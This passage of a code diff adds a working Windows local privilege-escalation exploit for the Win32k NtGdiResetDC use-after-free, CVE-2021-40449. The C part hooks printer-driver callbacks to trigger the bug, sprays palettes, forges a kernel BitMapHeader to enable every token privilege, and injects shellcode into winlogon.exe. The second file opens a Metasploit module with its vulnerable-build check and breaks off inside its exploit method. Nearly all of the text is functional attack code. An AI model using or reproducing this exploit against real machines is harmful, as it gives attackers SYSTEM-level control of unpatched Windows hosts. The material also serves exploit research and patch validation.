|
||||
DWORD64* p = (DWORD64*)((DWORD64)lPalette + 4);
|
||||
|
||||
// Will call: RtlSetAllBits(BitMapHeader), where BitMapHeader is a forged
|
||||
// to point to the current process token (See `CreateForgedBitMapHeader`)
|
||||
// This will enable all privileges
|
||||
|
||||
// Offset is specific to each version. Spray the two pointers
|
||||
// Arg1 (BitMapHeader)
|
||||
for (DWORD i = 0; i < 0x120; i++) {
|
||||
p[i] = fakeRtlBitMapAddr;
|
||||
// p[0xe5] = fakeRtlBitMapAddr;
|
||||
}
|
||||
|
||||
// Function pointer (RtlSetAllBits)
|
||||
for (DWORD i = 0x120; i < (palSize - 4) / 8; i++) {
|
||||
p[i] = rtlSetAllBits;
|
||||
// p[0x15b] = rtlSetAllBits;
|
||||
}
|
||||
|
||||
|
||||
lPalette->palNumEntries = (WORD)palCount;
|
||||
lPalette->palVersion = 0x300;
|
||||
|
||||
// Create lots of palettes
|
||||
for (DWORD i = 0; i < 0x5000; i++)
|
||||
{
|
||||
CreatePalette(lPalette);
|
||||
}
|
||||
}
|
||||
|
||||
DHPDEV hook_DrvEnablePDEV(DEVMODEW* pdm, LPWSTR pwszLogAddress, ULONG cPat, HSURF* phsurfPatterns, ULONG cjCaps, ULONG* pdevcaps, ULONG cjDevInfo, DEVINFO* pdi, HDEV hdev, LPWSTR pwszDeviceName, HANDLE hDriver)
|
||||
{
|
||||
//puts("[*] Hooked DrvEnablePDEV called");
|
||||
|
||||
DHPDEV res = ((DrvEnablePDEV_t)origDrvFuncs[INDEX_DrvEnablePDEV])(pdm, pwszLogAddress, cPat, phsurfPatterns, cjCaps, pdevcaps, cjDevInfo, pdi, hdev, pwszDeviceName, hDriver);
|
||||
|
||||
// Check if we should trigger the vulnerability
|
||||
if (shouldTrigger == TRUE)
|
||||
{
|
||||
// We only want to trigger the vulnerability once
|
||||
shouldTrigger = FALSE;
|
||||
|
||||
// Trigger vulnerability with second ResetDC. This will destroy the original
|
||||
// device context, while we're still inside of the first ResetDC. This will
|
||||
// result in a UAF
|
||||
//puts("[*] Triggering UAF with second ResetDC");
|
||||
HDC tmp_hdc = ResetDCW(hdc, NULL);
|
||||
//puts("[*] Returned from second ResetDC");
|
||||
|
||||
// This is where we reclaim the freed memory and overwrite the function pointer
|
||||
// and argument. We will use palettes to reclaim the freed memory
|
||||
|
||||
//puts("[*] Spraying palettes");
|
||||
|
||||
SprayPalettes(0xe20);
|
||||
|
||||
//puts("[*] Done spraying palettes");
|
||||
}
|
||||
|
||||
return res;
|
||||
}
|
||||
|
||||
BOOL SetupUsermodeCallbackHook()
|
||||
{
|
||||
/* Find and hook a printer's usermode callbacks */
|
||||
|
||||
DrvEnableDriver_t DrvEnableDriver;
|
||||
VoidFunc_t DrvDisableDriver;
|
||||
DWORD pcbNeeded, pcbReturned, lpflOldProtect, _lpflOldProtect;
|
||||
PRINTER_INFO_4W* pPrinterEnum, * printerInfo;
|
||||
HANDLE hPrinter;
|
||||
DRIVER_INFO_2W* driverInfo;
|
||||
HMODULE hModule;
|
||||
DRVENABLEDATA drvEnableData;
|
||||
BOOL res;
|
||||
|
||||
// Find available printers
|
||||
EnumPrintersW(PRINTER_ENUM_LOCAL, NULL, 4, NULL, 0, &pcbNeeded, &pcbReturned);
|
||||
|
||||
if (pcbNeeded <= 0)
|
||||
{
|
||||
//puts("[-] Failed to find any available printers");
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
pPrinterEnum = (PRINTER_INFO_4W*)malloc(pcbNeeded);
|
||||
|
||||
if (pPrinterEnum == NULL)
|
||||
{
|
||||
//puts("[-] Failed to allocate buffer for pPrinterEnum");
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
res = EnumPrintersW(PRINTER_ENUM_LOCAL, NULL, 4, (LPBYTE)pPrinterEnum, pcbNeeded, &pcbNeeded, &pcbReturned);
|
||||
|
||||
if (res == FALSE || pcbReturned <= 0)
|
||||
{
|
||||
//puts("[-] Failed to enumerate printers");
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// Loop over printers
|
||||
for (DWORD i = 0; i < pcbReturned; i++)
|
||||
{
|
||||
printerInfo = &pPrinterEnum[0];
|
||||
|
||||
//printf("[*] Using printer: %ws\n", printerInfo->pPrinterName);
|
||||
|
||||
// Open printer
|
||||
res = OpenPrinterW(printerInfo->pPrinterName, &hPrinter, NULL);
|
||||
if (!res)
|
||||
{
|
||||
//puts("[-] Failed to open printer");
|
||||
continue;
|
||||
}
|
||||
|
||||
//printf("[+] Opened printer: %ws\n", printerInfo->pPrinterName);
|
||||
printerName = _wcsdup(printerInfo->pPrinterName);
|
||||
|
||||
// Get the printer driver
|
||||
GetPrinterDriverW(hPrinter, NULL, 2, NULL, 0, &pcbNeeded);
|
||||
|
||||
driverInfo = (DRIVER_INFO_2W*)malloc(pcbNeeded);
|
||||
|
||||
res = GetPrinterDriverW(hPrinter, NULL, 2, (LPBYTE)driverInfo, pcbNeeded, &pcbNeeded);
|
||||
|
||||
if (res == FALSE)
|
||||
{
|
||||
//printf("[-] Failed to get printer driver\n");
|
||||
continue;
|
||||
}
|
||||
|
||||
//printf("[*] Driver DLL: %ws\n", driverInfo->pDriverPath);
|
||||
|
||||
// Load the printer driver into memory
|
||||
hModule = LoadLibraryExW(driverInfo->pDriverPath, NULL, LOAD_WITH_ALTERED_SEARCH_PATH);
|
||||
|
||||
if (hModule == NULL)
|
||||
{
|
||||
//printf("[-] Failed to load printer driver\n");
|
||||
continue;
|
||||
}
|
||||
|
||||
// Get printer driver's DrvEnableDriver and DrvDisableDriver
|
||||
DrvEnableDriver = (DrvEnableDriver_t)GetProcAddress(hModule, "DrvEnableDriver");
|
||||
DrvDisableDriver = (VoidFunc_t)GetProcAddress(hModule, "DrvDisableDriver");
|
||||
|
||||
if (DrvEnableDriver == NULL || DrvDisableDriver == NULL)
|
||||
{
|
||||
//printf("[-] Failed to get exported functions from driver\n");
|
||||
continue;
|
||||
}
|
||||
|
||||
// Call DrvEnableDriver to get the printer driver's usermode callback table
|
||||
res = DrvEnableDriver(DDI_DRIVER_VERSION_NT4, sizeof(DRVENABLEDATA), &drvEnableData);
|
||||
|
||||
if (res == FALSE)
|
||||
{
|
||||
//printf("[-] Failed to enable driver\n");
|
||||
continue;
|
||||
}
|
||||
|
||||
//puts("[+] Enabled printer driver");
|
||||
|
||||
// Unprotect the driver's usermode callback table, such that we can overwrite entries
|
||||
res = VirtualProtect(drvEnableData.pdrvfn, drvEnableData.c * sizeof(PFN), PAGE_READWRITE, &lpflOldProtect);
|
||||
|
||||
if (res == FALSE)
|
||||
{
|
||||
//puts("[-] Failed to unprotect printer driver's usermode callback table");
|
||||
continue;
|
||||
}
|
||||
|
||||
// Loop over hooks
|
||||
for (DWORD i = 0; i < sizeof(driverHooks) / sizeof(DriverHook); i++)
|
||||
{
|
||||
// Loop over driver's usermode callback table
|
||||
for (DWORD n = 0; n < drvEnableData.c; n++)
|
||||
{
|
||||
ULONG iFunc = drvEnableData.pdrvfn[n].iFunc;
|
||||
|
||||
// Check if hook INDEX matches entry INDEX
|
||||
if (driverHooks[i].index == iFunc)
|
||||
{
|
||||
// Saved original function pointer
|
||||
origDrvFuncs[iFunc] = (VoidFunc_t)drvEnableData.pdrvfn[n].pfn;
|
||||
// Overwrite function pointer with hook function pointer
|
||||
drvEnableData.pdrvfn[n].pfn = (PFN)driverHooks[i].func;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Disable driver
|
||||
DrvDisableDriver();
|
||||
|
||||
// Restore protections for driver's usermode callback table
|
||||
VirtualProtect(drvEnableData.pdrvfn, drvEnableData.c * sizeof(PFN), lpflOldProtect, &_lpflOldProtect);
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
DWORD64 GetKernelBase()
|
||||
{
|
||||
/* Get kernel base address of ntoskrnl.exe */
|
||||
|
||||
DWORD lpcbNeeded;
|
||||
BOOL res;
|
||||
DWORD64* deviceDrivers;
|
||||
DWORD64 kernelBase;
|
||||
|
||||
// Get device drivers will return an array of pointers
|
||||
// Requires at least medium integrity level
|
||||
res = EnumDeviceDrivers(NULL, 0, &lpcbNeeded);
|
||||
|
||||
deviceDrivers = (DWORD64*)malloc(lpcbNeeded);
|
||||
|
||||
res = EnumDeviceDrivers((LPVOID*)deviceDrivers, lpcbNeeded, &lpcbNeeded);
|
||||
|
||||
if (res == FALSE) {
|
||||
return 0;
|
||||
}
|
||||
|
||||
// First entry matches ntoskrnl.exe
|
||||
kernelBase = deviceDrivers[0];
|
||||
|
||||
free(deviceDrivers);
|
||||
|
||||
return kernelBase;
|
||||
}
|
||||
|
||||
DWORD64 GetKernelPointer(HANDLE handle, DWORD type)
|
||||
{
|
||||
/* Get kernel address for handle */
|
||||
|
||||
PSYSTEM_HANDLE_INFORMATION buffer;
|
||||
DWORD objTypeNumber, bufferSize;
|
||||
DWORD64 object;
|
||||
|
||||
buffer = (PSYSTEM_HANDLE_INFORMATION)malloc(0x20);
|
||||
bufferSize = 0x20;
|
||||
|
||||
// Query handle information. This will query information for all handles on the system
|
||||
// Requires at least medium integrity level
|
||||
NTSTATUS status = QuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemHandleInformation, buffer, bufferSize, &bufferSize);
|
||||
|
||||
if (status == (NTSTATUS)0xC0000004L)
|
||||
{
|
||||
// Buffer too small. This is always the case, since we only alloc room 0x20 bytes
|
||||
// initially, but we're receiving information for all handles on the system.
|
||||
// But if we don't allocate a buffer initially, it will fail for some reason.
|
||||
free(buffer);
|
||||
buffer = (PSYSTEM_HANDLE_INFORMATION)malloc(bufferSize);
|
||||
status = QuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemHandleInformation, buffer, bufferSize, &bufferSize);
|
||||
}
|
||||
|
||||
if (buffer == NULL || status != 0)
|
||||
{
|
||||
return 0;
|
||||
}
|
||||
|
||||
// Loop over the handles
|
||||
for (size_t i = 0; i < buffer->NumberOfHandles; i++)
|
||||
{
|
||||
objTypeNumber = buffer->Handles[i].ObjectTypeIndex;
|
||||
|
||||
// Check if process ID matches current process ID and if object type matches the provided object type
|
||||
if (buffer->Handles[i].UniqueProcessId == currentProcessId && buffer->Handles[i].ObjectTypeIndex == type)
|
||||
{
|
||||
// Check if handle value matches
|
||||
if (handle == (HANDLE)buffer->Handles[i].HandleValue)
|
||||
{
|
||||
// Match. The kernel address will be in `Object`
|
||||
object = (DWORD64)buffer->Handles[i].Object;
|
||||
free(buffer);
|
||||
return object;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
//puts("[-] Could not find handle");
|
||||
free(buffer);
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
DWORD64 GetProcessTokenAddress() {
|
||||
/* Get kernel address of current process token */
|
||||
|
||||
HANDLE proc, token;
|
||||
DWORD64 tokenKernelAddress;
|
||||
|
||||
// Get handle for current process
|
||||
proc = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, currentProcessId);
|
||||
if (proc == NULL) {
|
||||
//puts("[-] Failed to open current process");
|
||||
return 0;
|
||||
}
|
||||
|
||||
// Get handle for current process token
|
||||
if (OpenProcessToken(proc, TOKEN_ADJUST_PRIVILEGES, &token) == FALSE)
|
||||
{
|
||||
//puts("[-] Failed to open process token");
|
||||
return 0;
|
||||
}
|
||||
|
||||
// Get kernel address for current process token handle
|
||||
for (DWORD i = 0; i < 0x100; i++) {
|
||||
// Sometimes GetKernelPointer will fail for some reason
|
||||
// Mostly only on the the iteration
|
||||
|
||||
tokenKernelAddress = GetKernelPointer(token, 0x5);
|
||||
|
||||
if (tokenKernelAddress != 0) {
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if (tokenKernelAddress == 0) {
|
||||
//puts("[-] Failed to get token kernel address");
|
||||
return 0;
|
||||
}
|
||||
|
||||
return tokenKernelAddress;
|
||||
}
|
||||
|
||||
DWORD64 CreateForgedBitMapHeader(DWORD64 token)
|
||||
{
|
||||
/* Create a forged BitMapHeader on the large pool to be used in RtlSetAllBits */
|
||||
|
||||
// Cool trick taken from:
|
||||
// https://github.com/KaLendsi/CVE-2021-40449-Exploit/blob/main/CVE-2021-40449-x64.cpp#L448
|
||||
// https://gist.github.com/hugsy/d89c6ee771a4decfdf4f088998d60d19
|
||||
|
||||
DWORD dwBufSize, dwOutSize, dwThreadID, dwExpectedSize;
|
||||
HANDLE hThread;
|
||||
USHORT dwSize;
|
||||
LPVOID lpMessageToStore, pBuffer;
|
||||
UNICODE_STRING target;
|
||||
HRESULT hRes;
|
||||
ULONG_PTR StartAddress, EndAddress, ptr;
|
||||
PBIG_POOL_INFO info;
|
||||
|
||||
hThread = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)NULL, 0, CREATE_SUSPENDED, &dwThreadID);
|
||||
|
||||
dwSize = 0x1000;
|
||||
|
||||
lpMessageToStore = VirtualAlloc(0, dwSize, MEM_COMMIT, PAGE_READWRITE);
|
||||
|
||||
memset(lpMessageToStore, 0x41, 0x20);
|
||||
|
||||
// BitMapHeader->SizeOfBitMap
|
||||
*(DWORD64*)lpMessageToStore = 0x80;
|
||||
|
||||
// BitMapHeader->Buffer
|
||||
*(DWORD64*)((DWORD64)lpMessageToStore + 8) = token;
|
||||
|
||||
target.Length = dwSize;
|
||||
target.MaximumLength = 0xffff;
|
||||
target.Buffer = (PWSTR)lpMessageToStore;
|
||||
|
||||
hRes = SetInformationThread(hThread, (THREADINFOCLASS)ThreadNameInformation, &target, 0x10);
|
||||
|
||||
dwBufSize = 1024 * 1024;
|
||||
pBuffer = LocalAlloc(LPTR, dwBufSize);
|
||||
|
||||
hRes = QuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemBigPoolInformation, pBuffer, dwBufSize, &dwOutSize);
|
||||
|
||||
dwExpectedSize = target.Length + sizeof(UNICODE_STRING);
|
||||
|
||||
StartAddress = (ULONG_PTR)pBuffer;
|
||||
EndAddress = StartAddress + 8 + *((PDWORD)StartAddress) * sizeof(BIG_POOL_INFO);
|
||||
ptr = StartAddress + 8;
|
||||
while (ptr < EndAddress)
|
||||
{
|
||||
info = (PBIG_POOL_INFO)ptr;
|
||||
|
||||
if (strncmp(info->PoolTag, "ThNm", 4) == 0 && dwExpectedSize == info->PoolSize)
|
||||
{
|
||||
return (((ULONG_PTR)info->Address) & 0xfffffffffffffff0) + sizeof(UNICODE_STRING);
|
||||
}
|
||||
ptr += sizeof(BIG_POOL_INFO);
|
||||
}
|
||||
|
||||
//printf("[-] Failed to leak pool address for forged BitMapHeader\n");
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
BOOL Setup() {
|
||||
DWORD64 kernelBase, tokenKernelAddress, rtlSetAllBitsOffset;
|
||||
HMODULE kernelModule, ntdllModule;
|
||||
|
||||
ntdllModule = LoadLibraryW(L"ntdll.dll");
|
||||
|
||||
if (ntdllModule == NULL) {
|
||||
//puts("[-] Failed to load NTDLL");
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
currentProcessId = GetCurrentProcessId();
|
||||
|
||||
SetInformationThread = (NtSetInformationThread_t)GetProcAddress(ntdllModule, "NtSetInformationThread");
|
||||
QuerySystemInformation = (NtQuerySystemInformation_t)GetProcAddress(ntdllModule, "NtQuerySystemInformation");
|
||||
|
||||
kernelBase = GetKernelBase();
|
||||
if (kernelBase == 0) {
|
||||
//puts("[-] Failed to get kernel base");
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
kernelModule = LoadLibraryExW(L"ntoskrnl.exe", NULL, DONT_RESOLVE_DLL_REFERENCES);
|
||||
if (kernelModule == 0) {
|
||||
//puts("[-] Failed to load kernel module");
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
tokenKernelAddress = GetProcessTokenAddress();
|
||||
|
||||
if (tokenKernelAddress == 0) {
|
||||
//puts("[-] Failed to get token kernel address");
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
rtlSetAllBitsOffset = (DWORD64)GetProcAddress(kernelModule, "RtlSetAllBits");
|
||||
if (rtlSetAllBitsOffset == 0) {
|
||||
//puts("[-] Failed to find RtlSetAllBits");
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
rtlSetAllBits = (DWORD64)kernelBase + rtlSetAllBitsOffset - (DWORD64)kernelModule;
|
||||
|
||||
fakeRtlBitMapAddr = CreateForgedBitMapHeader(tokenKernelAddress + 0x40);
|
||||
if (fakeRtlBitMapAddr == 0) {
|
||||
//puts("[-] Failed to pool leak address of token");
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
return SetupUsermodeCallbackHook();
|
||||
}
|
||||
|
||||
VOID InjectToWinlogon(PMSF_PAYLOAD msfPayload)
|
||||
{
|
||||
/* Inject shellcode into winlogon.exe */
|
||||
|
||||
PROCESSENTRY32 entry;
|
||||
HANDLE snapshot, proc;
|
||||
|
||||
entry.dwSize = sizeof(PROCESSENTRY32);
|
||||
|
||||
snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
|
||||
|
||||
INT pid = -1;
|
||||
if (Process32First(snapshot, &entry))
|
||||
{
|
||||
while (Process32Next(snapshot, &entry))
|
||||
{
|
||||
if (strcmp(entry.szExeFile, "winlogon.exe") == 0)
|
||||
{
|
||||
pid = entry.th32ProcessID;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
CloseHandle(snapshot);
|
||||
|
||||
if (pid < 0)
|
||||
{
|
||||
//puts("[-] Could not find winlogon.exe");
|
||||
return;
|
||||
}
|
||||
|
||||
proc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
|
||||
if (proc == NULL)
|
||||
{
|
||||
//puts("[-] Failed to open process. Exploit did probably not work");
|
||||
return;
|
||||
}
|
||||
|
||||
LPVOID buffer = VirtualAllocEx(proc, NULL, msfPayload->dwSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
|
||||
|
||||
if (buffer == NULL)
|
||||
{
|
||||
//printf("[-] Failed to allocate remote memory");
|
||||
return;
|
||||
}
|
||||
|
||||
if (!WriteProcessMemory(proc, buffer, &msfPayload->cPayloadData, msfPayload->dwSize, 0))
|
||||
{
|
||||
//puts("[-] Failed to write to remote memory");
|
||||
return;
|
||||
}
|
||||
|
||||
HANDLE hthread = CreateRemoteThread(proc, 0, 0, (LPTHREAD_START_ROUTINE)buffer, 0, 0, 0);
|
||||
|
||||
if (hthread == INVALID_HANDLE_VALUE)
|
||||
{
|
||||
//puts("[-] Failed to create remote thread");
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
INT exploit(PMSF_PAYLOAD msfPayload)
|
||||
{
|
||||
BOOL res = FALSE;
|
||||
|
||||
res = Setup();
|
||||
|
||||
if (res == FALSE) {
|
||||
//puts("[-] Failed to setup exploit");
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
// Create new device context for printer with driver's hooked callbacks
|
||||
hdc = CreateDCW(NULL, printerName, NULL, NULL);
|
||||
if (hdc == NULL)
|
||||
{
|
||||
//puts("[-] Failed to create device context");
|
||||
return -1;
|
||||
}
|
||||
|
||||
// Trigger the vulnerability
|
||||
// This will internally call `hdcOpenDCW` which will call our usermode callback
|
||||
// From here we will call ResetDC again to trigger the UAF
|
||||
shouldTrigger = TRUE;
|
||||
ResetDC(hdc, NULL);
|
||||
|
||||
// Exploit complete
|
||||
// We should now have all privileges
|
||||
|
||||
//puts("[*] Spawning remote thread");
|
||||
|
||||
InjectToWinlogon(msfPayload);
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
LPVOID main(PMSF_PAYLOAD msfPayload) {
|
||||
exploit(msfPayload);
|
||||
}
|
||||
|
||||
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved)
|
||||
{
|
||||
switch (dwReason)
|
||||
{
|
||||
case DLL_QUERY_HMODULE:
|
||||
hAppInstance = hinstDLL;
|
||||
if (lpReserved != NULL)
|
||||
{
|
||||
*(HMODULE*)lpReserved = hAppInstance;
|
||||
}
|
||||
break;
|
||||
case DLL_PROCESS_ATTACH:
|
||||
hAppInstance = hinstDLL;
|
||||
main((PMSF_PAYLOAD)lpReserved);
|
||||
break;
|
||||
case DLL_PROCESS_DETACH:
|
||||
case DLL_THREAD_ATTACH:
|
||||
case DLL_THREAD_DETACH:
|
||||
break;
|
||||
}
|
||||
return TRUE;
|
||||
}
|
||||
|
|
@ -0,0 +1,164 @@
|
|||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Local
|
||||
Rank = GoodRanking
|
||||
|
||||
include Msf::Post::File
|
||||
include Msf::Post::Windows::Priv
|
||||
include Msf::Post::Windows::Process
|
||||
include Msf::Post::Windows::ReflectiveDLLInjection
|
||||
prepend Msf::Exploit::Remote::AutoCheck
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
{
|
||||
'Name' => '',
|
||||
'Description' => %q{
|
||||
A use after free vulnerability exists in the `NtGdiResetDC()` function of Win32k which can be leveraged by
|
||||
an attacker to escalate privileges to those of `NT AUTHORITY\SYSTEM`. The flaw exists due to the fact
|
||||
that this function calls `hdcOpenDCW()`, which performs a user mode callback. During this callback, attackers
|
||||
can call the `NtGdiResetDC()` function again with the same handle as before, which will result in the PDC object
|
||||
that is referenced byt his handle being freed. The attacker can then replace the memory referenced by the handle
|
||||
with their own object, before passing execution back to the original `NtGdiResetDC()` call, which will now use the
|
||||
attacker's object without appropriate validation. This can then allow the attacker to manipulate the state of the
|
||||
kernel and, together with additional exploitation techniques, gain code execution as NT AUTHORITY\SYSTEM.
|
||||
|
||||
This module has been tested to work on Windows 10 x64 RS1 (build 14393) and RS5 (build 17763), however previous versions
|
||||
of Windows 10 will likely also work.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [
|
||||
'IronHusky', # APT Group who exploited this in the wild
|
||||
'Costin Raiu', # Initial reporting on bug at SecureList
|
||||
'Boris Larin', # Initial reporting on bug at SecureList
|
||||
"Red Raindrop Team of Qi'anxin Threat Intelligence Center", # detailed analysis report in Chinese showing how to replicate the vulnerability
|
||||
'KaLendsi', # First Public POC targeting Windows 10 build 14393 only, later added support for 17763
|
||||
'ly4k', # GitHub POC adding support for Windows 10 build 17763, PoC used for this module.
|
||||
'Grant Willcox' # metasploit module
|
||||
],
|
||||
'Arch' => [ ARCH_X64 ],
|
||||
'Platform' => 'win',
|
||||
'SessionTypes' => [ 'meterpreter' ],
|
||||
'DefaultOptions' => {
|
||||
'EXITFUNC' => 'thread'
|
||||
},
|
||||
'Targets' => [
|
||||
[ 'Windows 10 x64 RS1 (build 14393) and RS5 (build 17763)', { 'Arch' => ARCH_X64 } ]
|
||||
],
|
||||
'Payload' => {
|
||||
'DisableNops' => true
|
||||
},
|
||||
'References' => [
|
||||
[ 'CVE', '2021-40449' ],
|
||||
[ 'URL', 'https://securelist.com/mysterysnail-attacks-with-windows-zero-day/104509/' ], # Initial report of in the wild exploitation
|
||||
[ 'URL', 'https://mp.weixin.qq.com/s/AcFS0Yn9SDuYxFnzbBqhkQ' ], # Detailed writeup
|
||||
[ 'URL', 'https://github.com/KaLendsi/CVE-2021-40449-Exploit' ], # First public PoC
|
||||
[ 'URL', 'https://github.com/ly4k/CallbackHell' ] # Updated PoC this module uses for exploitation.
|
||||
],
|
||||
'DisclosureDate' => '2021-10-12',
|
||||
'DefaultTarget' => 0,
|
||||
'Notes' => {
|
||||
'Stability' => [ CRASH_OS_RESTARTS, ],
|
||||
'Reliability' => [ REPEATABLE_SESSION, ],
|
||||
'SideEffects' => []
|
||||
}
|
||||
}
|
||||
)
|
||||
)
|
||||
end
|
||||
|
||||
def check
|
||||
sysinfo_value = sysinfo['OS']
|
||||
|
||||
if sysinfo_value !~ /windows/i
|
||||
# Non-Windows systems are definitely not affected.
|
||||
return CheckCode::Safe('Target is not a Windows system, so it is not affected by this vulnerability!')
|
||||
end
|
||||
|
||||
build_num_raw = session.shell_command_token('cmd.exe /c ver')
|
||||
build_num = build_num_raw.match(/\d+\.\d+\.\d+\.\d+/)
|
||||
if build_num.nil?
|
||||
print_error("Couldn't retrieve the target's build number!")
|
||||
else
|
||||
build_num = build_num_raw.match(/\d+\.\d+\.\d+\.\d+/)[0]
|
||||
print_status("Target's build number: #{build_num}")
|
||||
end
|
||||
|
||||
# see https://docs.microsoft.com/en-us/windows/release-information/
|
||||
unless sysinfo_value =~ /(7|8|8\.1|10|2008|2012|2016|2019|1803|1809|1903)/
|
||||
return CheckCode::Safe('Target is not running a vulnerable version of Windows!')
|
||||
end
|
||||
|
||||
build_num_gemversion = Rex::Version.new(build_num)
|
||||
|
||||
# Build numbers taken from https://www.qualys.com/research/security-alerts/2021-10-12/microsoft/
|
||||
if (build_num_gemversion >= Rex::Version.new('10.0.22000.0')) && (build_num_gemversion < Rex::Version.new('10.0.22000.258')) # Windows 11
|
||||
return CheckCode::Appears('Vulnerable Windows 11 build detected!')
|
||||
elsif (build_num_gemversion >= Rex::Version.new('10.0.20348.0')) && (build_num_gemversion < Rex::Version.new('10.0.20348.288')) # Windows Server 2022
|
||||
return CheckCode::Appears('Vulnerable Windows Server 2022 build detected!')
|
||||
elsif (build_num_gemversion >= Rex::Version.new('10.0.19044.0')) && (build_num_gemversion < Rex::Version.new('10.0.19044.1319')) # Windows 10 21H2
|
||||
return CheckCode::Appears('Vulnerable Windows 10 21H2 build detected!')
|
||||
elsif (build_num_gemversion >= Rex::Version.new('10.0.19043.0')) && (build_num_gemversion < Rex::Version.new('10.0.19043.1288')) # Windows 10 21H1
|
||||
return CheckCode::Appears('Vulnerable Windows 10 21H1 build detected!')
|
||||
elsif (build_num_gemversion >= Rex::Version.new('10.0.19042.0')) && (build_num_gemversion < Rex::Version.new('10.0.19042.1288')) # Windows 10 20H2
|
||||
return CheckCode::Appears('Vulnerable Windows 10 20H2 build detected!')
|
||||
elsif (build_num_gemversion >= Rex::Version.new('10.0.19041.0')) && (build_num_gemversion < Rex::Version.new('10.0.19041.1288')) # Windows 10 20H1
|
||||
return CheckCode::Appears('Vulnerable Windows 10 20H1 build detected!')
|
||||
elsif (build_num_gemversion >= Rex::Version.new('10.0.18363.0')) && (build_num_gemversion < Rex::Version.new('10.0.18363.1854')) # Windows 10 v1909
|
||||
return CheckCode::Appears('Vulnerable Windows 10 v1909 build detected!')
|
||||
elsif (build_num_gemversion >= Rex::Version.new('10.0.18362.0')) && (build_num_gemversion < Rex::Version.new('10.0.18362.9999999')) # Windows 10 v1903
|
||||
return CheckCode::Appears('Vulnerable Windows 10 v1903 build detected!')
|
||||
elsif (build_num_gemversion >= Rex::Version.new('10.0.17763.0')) && (build_num_gemversion < Rex::Version.new('10.0.17763.2237')) # Windows 10 v1809
|
||||
return CheckCode::Appears('Vulnerable Windows 10 v1809 build detected!')
|
||||
elsif (build_num_gemversion >= Rex::Version.new('10.0.17134.0')) && (build_num_gemversion < Rex::Version.new('10.0.17134.999999')) # Windows 10 v1803
|
||||
return CheckCode::Appears('Vulnerable Windows 10 v1803 build detected!')
|
||||
elsif (build_num_gemversion >= Rex::Version.new('10.0.16299.0')) && (build_num_gemversion < Rex::Version.new('10.0.16299.999999')) # Windows 10 v1709
|
||||
return CheckCode::Appears('Vulnerable Windows 10 v1709 build detected!')
|
||||
elsif (build_num_gemversion >= Rex::Version.new('10.0.15063.0')) && (build_num_gemversion < Rex::Version.new('10.0.15063.999999')) # Windows 10 v1703
|
||||
return CheckCode::Appears('Vulnerable Windows 10 v1703 build detected!')
|
||||
elsif (build_num_gemversion >= Rex::Version.new('10.0.14393.0')) && (build_num_gemversion < Rex::Version.new('10.0.14393.4704')) # Windows 10 v1607
|
||||
return CheckCode::Appears('Vulnerable Windows 10 v1607 build detected!')
|
||||
elsif (build_num_gemversion >= Rex::Version.new('10.0.10586.0')) && (build_num_gemversion < Rex::Version.new('10.0.10586.9999999')) # Windows 10 v1511
|
||||
return CheckCode::Appears('Vulnerable Windows 10 v1511 build detected!')
|
||||
elsif (build_num_gemversion >= Rex::Version.new('10.0.10240.0')) && (build_num_gemversion < Rex::Version.new('10.0.10240.19086')) # Windows 10 v1507
|
||||
return CheckCode::Appears('Vulnerable Windows 10 v1507 build detected!')
|
||||
elsif (build_num_gemversion >= Rex::Version.new('6.3.9600.0')) && (build_num_gemversion < Rex::Version.new('6.3.9600.20144')) # Windows 8.1/Windows Server 2012 R2
|
||||
return CheckCode::Appears('Vulnerable Windows 8.1/Windows Server 2012 R2 build detected!')
|
||||
elsif (build_num_gemversion >= Rex::Version.new('6.2.9200.0')) && (build_num_gemversion < Rex::Version.new('6.2.9200.23489')) # Windows 8/Windows Server 2012
|
||||
return CheckCode::Appears('Vulnerable Windows 8/Windows Server 2012 build detected!')
|
||||
elsif (build_num_gemversion >= Rex::Version.new('6.1.7601.0')) && (build_num_gemversion < Rex::Version.new('6.1.7601.25740')) # Windows 7/Windows Server 2008 R2
|
||||
return CheckCode::Appears('Vulnerable Windows 7/Windows Server 2008 R2 build detected!')
|
||||
elsif (build_num_gemversion >= Rex::Version.new('6.0.6003.0')) && (build_num_gemversion < Rex::Version.new('6.0.6003.21251')) # Windows Server 2008/Windows Server 2008 SP2
|
||||
return CheckCode::Appears('Vulnerable Windows Server 2008/Windows Server 2008 SP2 build detected!')
|
||||
else
|
||||
return CheckCode::Safe('The build number of the target machine does not appear to be a vulnerable version!')
|
||||
end
|
||||
end
|
||||
|
||||
def exploit
|
||||
if is_system?
|
||||
fail_with(Failure::None, 'Session is already elevated')
|
||||
end
|
||||
|
||||
